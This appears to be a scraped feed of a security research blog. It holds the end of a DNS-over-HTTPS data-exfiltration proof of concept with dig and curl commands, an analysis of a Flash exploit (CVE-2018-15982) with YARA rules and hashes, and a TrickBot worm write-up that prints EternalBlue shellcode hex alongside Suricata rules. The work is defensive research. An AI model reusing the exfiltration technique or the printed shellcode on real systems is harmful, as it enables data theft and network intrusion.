<span class="c">//fmt.Println(req.response.Answer[0])</span>
<span class="c">//fmt.Println(req.response.Question[0])</span>
<span class="k">return</span> <span class="n">req</span><span class="p">,</span> <span class="no">nil</span>
<span class="p">}</span>
<span class="n">log</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"DNS error from upstream %s: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">req</span><span class="o">.</span><span class="n">currentUpstream</span><span class="p">,</span> <span class="n">err</span><span class="o">.</span><span class="n">Error</span><span class="p">())</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">req</span><span class="p">,</span> <span class="n">err</span>
<span class="p">}</span>
</code></pre></div></div>
<h1 id="poc-execute">POC execute</h1>
<p>So let’s test, I’m going to run the client from the git as a dns server pointed to 127.0.0.1 with my DOH server sitting on 8053. This just simplifies testing for me but you can also turn off the cert piece on the DOH server so that it doesn’t use TLS and you can see the regular HTTP traffic pretty easily over loopback if you’re interested in that.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ dig c9c5c7da82f8cbc7cbdec2c5d8c484eee984efe484.e6e5e9868adad8c5c982dac5d984cfd2cf868acecbdecb82919.b98999e9f9c9d92939a9b98999e9e9.f9793939a9b9bf29b9af2f2f2f2f2f2f29a9a9a9a9a838383.google.com @127.0.0.1
</code></pre></div></div>
<p>On the server our decoded data is printed to the screen.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo ./doh-server
comp(Ramathorn.DC.EN.LOC, proc(pos.exe, data(;1234567890123445=99011X10XXXXXXX00000)))
</code></pre></div></div>
<p>We can also just use curl against the server directly instead of using the client piece</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ curl -v --doh-url "https://127.0.0.1:8053/dns-query" "http://c9c5c7da82f8cbc7cbdec2c5d8c484eee984efe484.e6e5e9868adad8c5c982dac5d984cfd2cf868acecbdecb82919.b98999e9f9c9d92939a9b98999e9e9.f9793939a9b9bf29b9af2f2f2f2f2f2f29a9a9a9a9a838383.google.com"
</code></pre></div></div>
<p>Or</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ curl -k "https://127.0.0.1:8053/dns-query?ct=application/dns-message&dns=AAABIAABAAAAAAABKmM5YzVjN2RhODJmOGNiYzdjYmRlYzJjNWQ4YzQ4NGVlZTk4NGVmZTQ4NDNlNmU1ZTk4NjhhZGFkOGM1Yzk4MmRhYzVkOTg0Y2ZkMmNmODY4YWNlY2JkZWNiODI5MTkeYjk4OTk5ZTlmOWM5ZDkyOTM5YTliOTg5OTllOWU5MWY5NzkzOTM5YTliOWJmMjliOWFmMmYyZjJmMmYyZjJmMjlhOWE5YTlhOWE4MzgzODMGZ29vZ2xlA2NvbQAAAQABAAApEAAAAAAAAAA"
</code></pre></div></div>
<p>References:</p>
<ol>
<li>https://github.com/m13253/dns-over-https</li>
<li>https://tools.ietf.org/html/rfc8484</li>
<li>https://github.com/curl/curl/wiki/DNS-over-HTTPS</li>
<li>https://github.com/miekg/exdns</li>
</ol>Intro Doing exfiltration over DNS isn’t a new concept but recently there’s been lots of people jumping on the DNS-over-HTTP(s)[3] bandwagon, which adds an interesting new layer to an existing TTP. This blog post is simply an aim to prove it’s possibility. We’re going to start with existing code using a DOH server and client written by Star Brilliant[1]. This server and client are setup in a way that makes for easy testing where they allow the traffic to passthrough.CVE-2018-15982 being used to push CobInt2018-12-07T16:31:12+00:002018-12-07T16:31:12+00:00/malware/2018/12/07/CobaltGroup-abusing-15982<p>Another week and another CobInt downloader campaign but instead of their usual kits used to deliver the downloader this time we have an embedded flash file.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Signature: FWS
Version: 36
FileLength: 12457
Width(twips): 16000
Height(twips): 12000
FrameRate: 30
FrameCount: 1
Tags:
FileAttributes
MetaData
ScriptLimits
SetBackgroundColor
ProductInfo
FrameLabel
BinaryData
BinaryData
DoABC
SymbolClass
ShowFrame
End
</code></pre></div></div>
<p>Decompiling the action script shows that it is pretty much the exact same as was dumped on github by prsecurity[<a href="https://github.com/prsecurity/CVE-2018-15982">5</a>]. So let’s check out the code it will execute residing as BinaryData.</p>
<h1 id="executed-code">Executed Code</h1>
<p>In the strings you can see the cmd.exe call that will eventually be executed and the size of the code itself is pretty small. The first thing it does is call a function which will resolve all it’s needed functions.</p>
<p><img src="/assets/cobaltgroup_flash/start_of_sc.png" alt="Start of shellcode" title="Start of shellcode" /></p>
<p>After resolving it’s needed functions it will setup some memory, below I’ve labeled the functions that will be resolved as they are loaded into an array that will be passed around to the rest of the code.</p>
<p><img src="/assets/cobaltgroup_flash/functions_being_resolve.png" alt="Functions being resolved" title="Functions being resolved" /></p>
<p>After resolving it’s functions a block of code will be responsible for finding an egg value of “DEADCODEABCDEFFF” by using the address in the instruction pointer[<a href="https://github.com/tpn/winsdk-10/blob/master/Include/10.0.14393.0/km/ntddk.h">2</a>,<a href="https://www.winehq.org/pipermail/wine-cvs/2011-February/074839.html">3</a>,<a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-rtlcapturecontext">4</a>] and walking this address to look for the egg value.</p>
<p><img src="/assets/cobaltgroup_flash/code_to_find_string.png" alt="Finding data after egg" title="Finding data after egg" /></p>
<p>The egg value isn’t too far away either it’s actually right after the function, right after the egg is the cmd execution string.</p>
<p><img src="/assets/cobaltgroup_flash/execute_string_with_egg.png" alt="Execution string with egg" title="Execution string with egg" /></p>
<p>This string will be passed to a call to CreateProcessA which will then unpack the jpg and detonate it.</p>
<p><img src="/assets/cobaltgroup_flash/createprocess_call.png" alt="Call to CreateProcess" title="Call to CreateProcess" /></p>
<h1 id="detection-possibilties">Detection possibilties</h1>
<p>The cmd.exe string is one obvious possibility. However if you use too much of it you could end up missing detections from different or obfuscated commands in the future. I pulled down another POC swf from github to compare with while writing detections<a href="https://github.com/Dreametion/CVE-2018-15982_PoC">6</a>.</p>
<p>Looking for the push instructions in the shellcode inside of a flash file could be good.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rule sc
{
strings:
$loadlibrarya = {68 72 60 77 74}
$getprocaddress = {68 6f e0 53 e5}
$createprocessa = {68 9f b5 90 f3}
$rtlcapturecontext = {68 53 0c 44 26}
$memset = {68 73 e9 5a 6b}
$memcpy = {68 33 ec 82 4b}
$memcmp = {68 73 eb 3a 4b}
condition:
all of them
}
</code></pre></div></div>
<p>Testing against my data shows that it matches both flash files I have along with the binary data I dumped out previously.</p>
<p>YARA results:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sc ./1.bin
sc ./CVE-2018-15982_PoC.swf
sc ./embedded.swf
</code></pre></div></div>
<p>Since the actionscript code appears to remain static with the code pushed to github we can probably attack it by looking for those bytecodes as well. I used my python flash parser to dump the DoAbc block from one and figured I would start by blindly pasting a couple of large chunks just to quickly test how similar they are.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rule test
{
strings:
$a1 = {cb8ac9f204c598cd9103c188d98a04d092cd9103d6d2c9a307f4ca8da307d68ac99a05d392bdf20480800200030000e0ffffffef4100000000e0ffef417b0004766f69640475696e7406436c617373300c666c6173682e6576656e7473054576656e7406537472696e6703696e74044d61696e0d666c6173682e646973706c6179065370726974650456617235045661723607426f6f6c65616e0456617237045661723804566172390556617231300556617231310556617231320556617231330556617231340b5f5f4153335f5f2e76656306566563746f7206436c6173733505566172313506436c6173733305566172313606436c61737334055661723139055661723230055661723233055661723235055661723236055661723332055661723432055661723338055661723430055661723433055661723531055661723536055661723736055661723137064f626a656374086d5f436c6173733106436c61737331055661723339055661723232076d782e636f72650a49466c657841737365740e42797465417272617941737365740b666c6173682e7574696c7309427974654172726179166d782e636f72653a427974654172726179417373657406436c6173733606436c6173733705566172393805566172393908746f537472696e67066f666673657406436c61737332065661723939370656617239393806566172393933065661723939340656617239393506566172393936045661723105436c6173730456617232045661723304566172340556617231382a687474703a2f2f7777772e61646f62652e636f6d2f323030362f666c65782f6d782f696e7465726e616c0756455253494f4e0b342e362e302e32333230310b6d785f696e7465726e616c21687474703a2f2f61646f62652e636f6d2f4153332f323030362f6275696c74696e14666c6173682e646973706c61793a53707269746524666c6173682e646973706c61793a446973706c61794f626a656374436f6e7461696e65721f666c6173682e646973706c61793a496e7465726163746976654f626a6563741b666c6173682e646973706c61793a446973706c61794f626a6563741c666c6173682e6576656e74733a4576656e7444697370617463686572057374616765106164644576656e744c697374656e65720e41444445445f544f5f535441474509666c6173682e6e65740f4c6f63616c436f6e6e656374696f6e014107636f6e6e656374054572726f7201650c666c6173682e73797374656d0c4361706162696c69746965730a69734465627567676572066c656e6774680776657273696f6e012c0573706c69740541727261790120087061727365496e740463616c6c056170706c7908706f736974696f6e0f72656164556e7369676e6564496e7404707573681372656d6f76654576656e744c697374656e657206456e6469616e0d4c4954544c455f454e4449414e06656e6469616e22636f6d2e61646f62652e747673646b2e6d65646961636f72652e6d65746164617461084d65746164617461097365744f626a656374066b65795365740a63686172436f646541740f4576656e74446973706174636865720d446973706c61794f626a65637411496e7465726163746976654f626a65637416446973706c61794f626a656374436f6e7461696e657202307801602216011605160a180916170500181d1819163116341836183718381804183d181b182e084a05001701084e1a091a4f1a501a511a521a531657165d1670050005001a1b0601090d060113141504161718191a1b050c060113141504161718191a1b0101071f0120141510217507010207010307010407020607010707010807010907030b07010c07010d07010e07010f0701100701110701120701130701140701150701160705180701191d14011507011a07011b1d14011807011c07011d1d14011b07061e07061f07062007062107062207062307062407062507012607062707062807062907062a07062b07012c07012d07012e07012f070130070932070933070a3509320107013707013807013907013a07013b07013c07013d07013e07013f07014007014107014207014307014407014507014607014707014807014907124b07094d091802070154070155070156071c5807015a07015b07015c1b03071d5e07015f0701601d14010207016107156307016409630307016607156707156807016907016a07156b1d14013a07016c070a6d07016e07016f1d14010507153b071e71070172070173071574070275070376070377070378}
$a3 = {74d51010000009d06617d15d184a18006151d19174d5d1d0660e15e8ffff240074d5103d000009d06613d16651662e2418ab962a120c000029d06613d16651662e2d09af12170000d0d16811d0d06613d16651662f680fd026680a100c0000d19174d5d1d0660e15bbffffd0660a1101000047d06613d066116651d06613d066116651662e93612f240074d51021000009d06617d16651662c663d2f01130c0000d0d16812d027680a100c0000d19174d5d1d0660e15d7ffffd0660a1201000047d06613d066116651d0660f612fd0d06613d066116651662e93461e0174d6d0d246200174d724007463046052665312120000d02d0a2d0b2404d3462104746304101d0000d02d0c2d0d2404d3462104746318d02d0a2d0b24046218462104746304d02d0e2d0f240a6204462204746305646c01664466542408a0258020a0746306604960025301620642018055630724007463086052665312090000241c746308100500002418746308d06617d0661266516207613cd0d06613d066116651662e936208a0461e01742a63092404a0746309d06617d0661266516046613cd06613d066116651662e9374630a240074630b240074630c60526656852a630d2c6246570180582a630e240066512c654659018058630f5d5a620f24016651465a01752a6310241e0f1c000060526653120a000025c40174630c1006000025b80174630c1018000060526653120a000025bc0174630c1006000025b00174630cd0d0d0d0620a2408a0461e012414a0461e012404a0461e01620ca0461e0174630bd0620b461e01746311d0620a241ca0461e01746312d0620a2420a0461e01746313240074d51022000009d062092408a0d12404a2a0d06211258001a1d12404a2a0461e014f1f02d19174d5d125800215d6ffffd062092408a0258001a0241ca062054f1f02d0620b62092408a0258001a04f1f02d0620a241ca062094f1f02d0620a2420a0620766542404a24f1f025d5824414a5801805863146046665b2062144f5c0220805863152080556316560080586315646c0166442400615d2400746317240074631710160000096215646c016644465e004f5f0162172404a07463176217646c016644665415ddffff604960025301646215410180556316240074d51013000009620725f403d1a06216d166516151d19174d5d16216665415e4ffffd062092408a0258001a0241ca0620925f4032404a2a04f1f02d0620b62092408a0258001a04f1f026046665b20204f5c02d0620a241ca062124f1f02d0620a2420a062134f1f02d0620b62114f1f024700000f0625090ac50ed03020800363042080036305208003630624007463246049603a5301d0660e42018060d5646c016646802bd6240074d71015000009d1d35d3a4a3a006151d1d36651d2613bd39174d7d3d0660e15e3ffff5d5824044a580180586307646c0166456654258020a07463086049600253016208420180556309240074630a60526653120c0000241c2402a274630a1008000024182402a274630a240074d710c0000009d06613d36651662e2418ab962a120c000029d06613d36651662e2d09af129a00005d03d06613d36651662e93d06613d36651662f4a03028003630424007463241010000009d1622466516209613b6224917463246224d0660e15e7ffff5d03d06613d36651662e93d06613d36651662f4a03028003630524007463241010000009d1622466516207613b6224917463246224d0660e15e7ffff5d03d06613d36651662e93d06613d36651662f4a030280036306d026680a100c0000d39174d7d3d0660e1538ffffd0660a1101000047d124006154208060d5d04f1d00240074d71010000009d0661ad35d1b4a1b006151d39174d7d3d0660e15e8ffff}
condition:
all of them
}
</code></pre></div></div>
<p>The results were pretty surprising, so the flash file used by CobaltGroup is basically just a POC file with a new command perhaps.</p>
<p>YARA results:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>test ./CVE-2018-15982_PoC.swf
test ./embedded.swf
</code></pre></div></div>
<h1 id="tools-used">Tools used</h1>
<p>JPEXS Flash decompiler<br />
IDA Pro<br />
Radare2<br />
py_flash_parser[<a href="https://github.com/sysopfb/py_flash_parser">1</a>]<br />
YARA</p>
<h1 id="iocs">IOCS</h1>
<p>Rar file:<br />
1232402bef625dc8328ece768e9943667389aed97207cf24f5215fe88b5f88ec<br />
Doc:<br />
9c6fbe25429d177fcac4cb53f85dacc58d84a618e3bddd1181cd0e604cb522ce<br />
ActiveX1.bin object:<br />
cc146e473f27064b059e425bdc095ea257445decfecafbe973d4626b104defaa<br />
Embedded Flash file exploit:<br />
1f2d731ba8c86b277d234a8bf95c31aa943f28f0d456be4a6a60f18625c46f79<br />
32bit shellcode from BinaryData:<br />
0aca0a8da932b34c3357909eb38712f21607e83f7912766330d9b695681cd353</p>
<p>References:</p>
<ol>
<li>https://github.com/sysopfb/py_flash_parser</li>
<li>https://github.com/tpn/winsdk-10/blob/master/Include/10.0.14393.0/km/ntddk.h</li>
<li>https://www.winehq.org/pipermail/wine-cvs/2011-February/074839.html</li>
<li>https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-rtlcapturecontext</li>
<li>https://github.com/prsecurity/CVE-2018-15982</li>
<li>https://github.com/Dreametion/CVE-2018-15982_PoC</li>
</ol>Another week and another CobInt downloader campaign but instead of their usual kits used to deliver the downloader this time we have an embedded flash file.TrickBot worming detection2018-11-30T16:31:12+00:002018-11-30T16:31:12+00:00/malware/2018/11/30/TrickBot-worming<p>Finally got some time to look a little deeper at the TrickBot worm module, there’s already been a number of posts out there in regards to this malware developing plugins related to network propagation[<a href="https://www.flashpoint-intel.com/blog/new-version-trickbot-adds-worm-propagation-module/">1</a>] with it’s worm module. As was shared by Brad (@malware_traffic)[<a href="https://www.malware-traffic-analysis.net/2018/08/17/index.html">3</a>] in a PCAP this malware has been seen propagating over SMB, it was believed they were testing an SMB exploit but most of the PCAPs I’ve gone through show the worming happening over SMB with EternalBlue. Most of the shellcode being used is based on a POC on github[<a href="https://github.com/worawit/MS17-010/blob/master/shellcode/eternalblue_kshellcode_x86.asm">4</a>], while mapping out the portions of shellcode I happened to stumble upon a recent blog post by somebody that does a pretty good of showing the flow[<a href="http://reversingminds-blog.logdown.com/posts/7803327-how-different-malware-families-uses-eternalblue-part-1">5</a>].</p>
<p>Since most of my research echos the data in the blog post<a href="http://reversingminds-blog.logdown.com/posts/7803327-how-different-malware-families-uses-eternalblue-part-1">5</a> I’ll simply do a quick expand on detecting this activity. Using the shellcode from binary I had reversed along with a number of PCAPs thanks to (@malware_traffic and PacketTotal)[<a href="https://www.malware-traffic-analysis.net/2018/08/17/index.html">3</a>,<a href="https://packettotal.com/app/analysis?id=1901ad7947dc6a40bd2b628cbdc7ceb3">6</a>,<a href="https://packettotal.com/app/analysis?id=497bc1eafa83b9c482fd61345212c469">7</a>,<a href="https://packettotal.com/app/analysis?id=96827e1669bef38f4948f4272c6803ae">8</a>,<a href="https://www.malware-traffic-analysis.net/2018/11/09/index.html">9</a>].
Pulling out both the 32 bit and 64 bit versions of the shellcode prologue:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>488b5424408b4a2c894a3855e830000000b9820000c00f324c8d0d360000004439c87419394500740a895504894500c645f8004991505a48c1ea200f305d31c0c3488d2d0010000048c1ed0c48c1e50c4883ed70c30f01f865488924251000000065488b2425a80100006a2b65ff342510000000505055e8c5ffffff488b45004883c01f48894424105152415041514152415331c0b201f00fb055f87514b9820000c08b45008b55040f30fbe80e000000fa415b415a415941585a595d58c341574156575653504c8b7d0049c1ef0c49c1e70c4981ef001000006641813f4d5a75f14c897d08654c8b342588010000bf787cf4dbe8c70000004891bf3f5f6477e8c20000008b400389c3488d50284c8d0c114d8b094c89c84c29f0483d0007000077ef4d29cebfe1140117e8970000008b780383c708488d3419e8d00000003de7c18c387409488b0c394829f9ebe7bf48b818b8e867000000488945f0488d1c11488b5b08488d4d104d31c04c8d0dad000000556a015541504a8d14334883ec20bfc45c196de835000000488d4d104d31c9bf3446ccafe8240000004883c44085c074bd488b452080781a01740948890048894008ebaa585b5e5f415e415fc3e802000000ffe0535156418b473c418b8407880000004c01f8508b48188b58204c01fbffc98b348b4c01fee81f00000039f875ef588b58244c01fb668b0c4b8b581c4c01fb8b048b4c01f85e595bc35231c099acc1ca0d01c285c075f6925ac3555357564157498b284c8b7d08525e4c89cb31c0440f22c048890289c148f7d14989c0b04050c1e006504989014883ec20bfea996e57e865ffffff4883c430488b3e488d353b000000b994080000f3a4488b45f0488b4018488b4020488b3048ad4c8b7820bf5e515e83e838ffffff48890331c9884df8b101440f22c1415f5e5f5b5dc3489231c951514989c94c8d050d00000089ca4883ec20ffd04883c430c3554889e54881eca0060000e8
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>8b4424208b481489481c60e8000000005be825000000b9760100000f328d7b3b39f87411394500740689450089550889f831d20f306131c0c224008dab00100000c1ed0cc1e50c83ed50c3b9230000006a300fa18ed98ec1648b0d400000008b6104519c60e8000000005be8cbffffff8b450083c0178944242431c09942f00fb055087512b976010000998b45000f30fbe804000000fa619dc38b4500c1e80cc1e00c2d001000006681384d5a75f4894504b8787cf4dbe8bc00000097b83f5f647757e8b000000029f889c18d581c8d341f64a1240100008b3689f229c281fa0004000077f252b8e1140117e88e0000008b400a8d50048d340fe8be0000003de7c18c3874078b3c1729d7ebea897d0c8d1c1f8d75105f8b5b04b83e4cf8cee85b0000008b400a29f8837c03f40074e731c0556a015550e800000000810424920000005053293c2456b8c45c196de82500000031c050505056b83446ccafe81500000085c074b08b451c80780e0174078900894004eba0c3e802000000ffe0608b6d04978b453c8b54057801ea8b4a188b5a2001eb498b348b01eee81d00000039f875f18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c35231c099acc1ca0d01c285c075f6925ac358894424105859585a6052518b2831c064
</code></pre></div></div>
<p>We can take a peak at a PCAP and see this data in there after the Trans2 response with invalid parameter.</p>
<p><img src="/assets/trickbotworm/shellcode_prologue.png" alt="Trans2 invalid response" title="HTA to execute powershell" /></p>
<p>We can even see the usage of the ‘BAAD’ string straight from the POC on github along with the URL for the worming.png file tacked on as well.</p>
<p><img src="/assets/trickbotworm/shellcode_blob.png" alt="Code blob" title="Code blob" /></p>
<p>As mentioned in the blog[<a href="http://reversingminds-blog.logdown.com/posts/7803327-how-different-malware-families-uses-eternalblue-part-1">5</a>] after you get through the normal POC shellcode you get to some different shellcode that ends up being injected into services.exe.</p>
<p>The first thing this code does is decode out it’s own string section by calling a function placed immediately after the string section.</p>
<p><img src="/assets/trickbotworm/sservices_sc_decode.png" alt="Services shellcode" title="Services shellcode" /></p>
<p>Decoding out the strings is pretty straightforward in IDA with python:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Python>data = GetManyBytes(0x405a23, 0x4c*4)
Python>data = bytearray(data)
Python>key = 0x7d2096c3
Python>out = ""
Python>import struct
Python>for i in range(0x4c):
Flushing buffers, please wait...ok
Python> temp = struct.unpack_from('<I', data[i*4:])[0]
Python> temp ^= key
Python> out += struct.pack('<I', temp)
Python>
Python>out
winhttp.dll
Python>out.split('\x00')
['winhttp.dll', 'WinHttpOpen', 'WinHttpConnect', 'WinHttpOpenRequest', 'WinHttpQueryDataAvailable', 'WinHttpSendRequest', 'WinHttpReceiveResponse', 'WinHttpReadData', 'WinHttpCloseHandle', 'GetProcAddressA', 'LoadLibraryA', 'GetProcessHeap', 'HeapAlloc', 'HeapReAlloc', 'HeapFree', 'CreateFileA', 'WriteFile', 'CloseHandle', 'CreateProcessA', 'setup.exe', 'G', 'E', 'T', '', '', '', '']
</code></pre></div></div>
<p>So it looks like this code is simply to download and execute a URL which follows in line with the worming.png URL that was sent along in the PCAP data.</p>
<p>So how about detection then? Well I first wondered how static those prologue blobs are so I downloaded a bunch of PCAPs and wrote a generic suricata rule to scan for them.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>alert tcp any any -> any 445 (msg:"TrickBot worm module shellcode"; content:"|48 8b 54 24 40 8b 4a 2c 89 4a 38 55 e8 30 00 00 00 b9 82 00 00 c0 0f 32 4c 8d 0d 36 00 00 00 44 39 c8 74 19 39 45 00 74 0a 89 55 04 89 45 00 c6 45 f8 00 49 91 50 5a 48 c1 ea 20 0f 30 5d 31 c0 c3 48 8d 2d 00 10 00 00 48 c1 ed 0c 48 c1 e5 0c 48 83 ed 70 c3 0f 01 f8 65 48 89 24 25 10 00 00 00 65 48 8b 24 25 a8 01 00 00 6a 2b 65 ff 34 25 10 00 00 00 50 50 55 e8 c5 ff ff ff 48 8b 45 00 48 83 c0 1f 48 89 44 24 10 51 52 41 50 41 51 41 52 41 53 31 c0 b2 01 f0 0f b0 55 f8 75 14 b9 82 00 00 c0 8b 45 00 8b 55 04 0f 30 fb e8 0e 00 00 00 fa 41 5b 41 5a 41 59 41 58 5a 59 5d 58 c3 41 57 41 56 57 56 53 50 4c 8b 7d 00 49 c1 ef 0c 49 c1 e7 0c 49 81 ef 00 10 00 00 66 41 81 3f 4d 5a 75 f1 4c 89 7d 08 65 4c 8b 34 25 88 01 00 00 bf 78 7c f4 db e8 c7 00 00 00 48 91 bf 3f 5f 64 77 e8 c2 00 00 00 8b 40 03 89 c3 48 8d 50 28 4c 8d 0c 11 4d 8b 09 4c 89 c8 4c 29 f0 48 3d 00 07 00 00 77 ef 4d 29 ce bf e1 14 01 17 e8 97 00 00 00 8b 78 03 83 c7 08 48 8d 34 19 e8 d0 00 00 00 3d e7 c1 8c 38 74 09 48 8b 0c 39 48 29 f9 eb e7 bf 48 b8 18 b8 e8 67 00 00 00 48 89 45 f0 48 8d 1c 11 48 8b 5b 08 48 8d 4d 10 4d 31 c0 4c 8d 0d ad 00 00 00 55 6a 01 55 41 50 4a 8d 14 33 48 83 ec 20 bf c4 5c 19 6d e8 35 00 00 00 48 8d 4d 10 4d 31 c9 bf 34 46 cc af e8 24 00 00 00 48 83 c4 40 85 c0 74 bd 48 8b 45 20 80 78 1a 01 74 09 48 89 00 48 89 40 08 eb aa 58 5b 5e 5f 41 5e 41 5f c3 e8 02 00 00 00 ff e0 53 51 56 41 8b 47 3c 41 8b 84 07 88 00 00 00 4c 01 f8 50 8b 48 18 8b 58 20 4c 01 fb ff c9 8b 34 8b 4c 01 fe e8 1f 00 00 00 39 f8 75 ef 58 8b 58 24 4c 01 fb 66 8b 0c 4b 8b 58 1c 4c 01 fb 8b 04 8b 4c 01 f8 5e 59 5b c3 52 31 c0 99 ac c1 ca 0d 01 c2 85 c0 75 f6 92 5a c3 55 53 57 56 41 57 49 8b 28 4c 8b 7d 08 52 5e 4c 89 cb 31 c0 44 0f 22 c0 48 89 02 89 c1 48 f7 d1 49 89 c0 b0 40 50 c1 e0 06 50 49 89 01 48 83 ec 20 bf ea 99 6e 57 e8 65 ff ff ff 48 83 c4 30 48 8b 3e 48 8d 35 3b 00 00 00 b9 94 08 00 00 f3 a4 48 8b 45 f0 48 8b 40 18 48 8b 40 20 48 8b 30 48 ad 4c 8b 78 20 bf 5e 51 5e 83 e8 38 ff ff ff 48 89 03 31 c9 88 4d f8 b1 01 44 0f 22 c1 41 5f 5e 5f 5b 5d c3 48 92 31 c9 51 51 49 89 c9 4c 8d 05 0d 00 00 00 89 ca 48 83 ec 20 ff d0 48 83 c4 30 c3 55 48 89 e5 48 81 ec a0 06 00 00 e8|"; flow:to_server, established; classtype:misc-activity; metadata:author JasonReaves; sid:9000060; rev:1;)
alert tcp any any -> any 445 (msg:"TrickBot worm module shellcode 2"; content:"|8b 44 24 20 8b 48 14 89 48 1c 60 e8 00 00 00 00 5b e8 25 00 00 00 b9 76 01 00 00 0f 32 8d 7b 3b 39 f8 74 11 39 45 00 74 06 89 45 00 89 55 08 89 f8 31 d2 0f 30 61 31 c0 c2 24 00 8d ab 00 10 00 00 c1 ed 0c c1 e5 0c 83 ed 50 c3 b9 23 00 00 00 6a 30 0f a1 8e d9 8e c1 64 8b 0d 40 00 00 00 8b 61 04 51 9c 60 e8 00 00 00 00 5b e8 cb ff ff ff 8b 45 00 83 c0 17 89 44 24 24 31 c0 99 42 f0 0f b0 55 08 75 12 b9 76 01 00 00 99 8b 45 00 0f 30 fb e8 04 00 00 00 fa 61 9d c3 8b 45 00 c1 e8 0c c1 e0 0c 2d 00 10 00 00 66 81 38 4d 5a 75 f4 89 45 04 b8 78 7c f4 db e8 bc 00 00 00 97 b8 3f 5f 64 77 57 e8 b0 00 00 00 29 f8 89 c1 8d 58 1c 8d 34 1f 64 a1 24 01 00 00 8b 36 89 f2 29 c2 81 fa 00 04 00 00 77 f2 52 b8 e1 14 01 17 e8 8e 00 00 00 8b 40 0a 8d 50 04 8d 34 0f e8 be 00 00 00 3d e7 c1 8c 38 74 07 8b 3c 17 29 d7 eb ea 89 7d 0c 8d 1c 1f 8d 75 10 5f 8b 5b 04 b8 3e 4c f8 ce e8 5b 00 00 00 8b 40 0a 29 f8 83 7c 03 f4 00 74 e7 31 c0 55 6a 01 55 50 e8 00 00 00 00 81 04 24 92 00 00 00 50 53 29 3c 24 56 b8 c4 5c 19 6d e8 25 00 00 00 31 c0 50 50 50 56 b8 34 46 cc af e8 15 00 00 00 85 c0 74 b0 8b 45 1c 80 78 0e 01 74 07 89 00 89 40 04 eb a0 c3 e8 02 00 00 00 ff e0 60 8b 6d 04 97 8b 45 3c 8b 54 05 78 01 ea 8b 4a 18 8b 5a 20 01 eb 49 8b 34 8b 01 ee e8 1d 00 00 00 39 f8 75 f1 8b 5a 24 01 eb 66 8b 0c 4b 8b 5a 1c 01 eb 8b 04 8b 01 e8 89 44 24 1c 61 c3 52 31 c0 99 ac c1 ca 0d 01 c2 85 c0 75 f6 92 5a c3 58 89 44 24 10 58 59 58 5a 60 52 51 8b 28 31 c0 64|"; flow:to_server, established; classtype:misc-activity; metadata:author JasonReaves; sid:9000061; rev:1;)
</code></pre></div></div>
<p>Turns out it’s remained pretty static over time! Using suricata in PCAP mode I was able to verify detection of the packettotal PCAPs along with Brads PCAPs.</p>
<p>References:</p>
<ol>
<li>https://www.flashpoint-intel.com/blog/new-version-trickbot-adds-worm-propagation-module/</li>
<li>https://www.vkremez.com/2017/12/lets-learn-introducing-new-trickbot.html</li>
<li>https://www.malware-traffic-analysis.net/2018/08/17/index.html</li>
<li>https://github.com/worawit/MS17-010/blob/master/shellcode/eternalblue_kshellcode_x86.asm</li>
<li>http://reversingminds-blog.logdown.com/posts/7803327-how-different-malware-families-uses-eternalblue-part-1</li>
<li>https://packettotal.com/app/analysis?id=1901ad7947dc6a40bd2b628cbdc7ceb3</li>
<li>https://packettotal.com/app/analysis?id=497bc1eafa83b9c482fd61345212c469</li>
<li>https://packettotal.com/app/analysis?id=96827e1669bef38f4948f4272c6803ae</li>
<li>https://www.malware-traffic-analysis.net/2018/11/09/index.html</li>
</ol>Finally got some time to look a little deeper at the TrickBot worm module, there’s already been a number of posts out there in regards to this malware developing plugins related to network propagation[1] with it’s worm module. As was shared by Brad (@malware_traffic)[3] in a PCAP this malware has been seen propagating over SMB, it was believed they were testing an SMB exploit but most of the PCAPs I’ve gone through show the worming happening over SMB with EternalBlue. Most of the shellcode being used is based on a POC on github[4], while mapping out the portions of shellcode I happened to stumble upon a recent blog post by somebody that does a pretty good of showing the flow[5].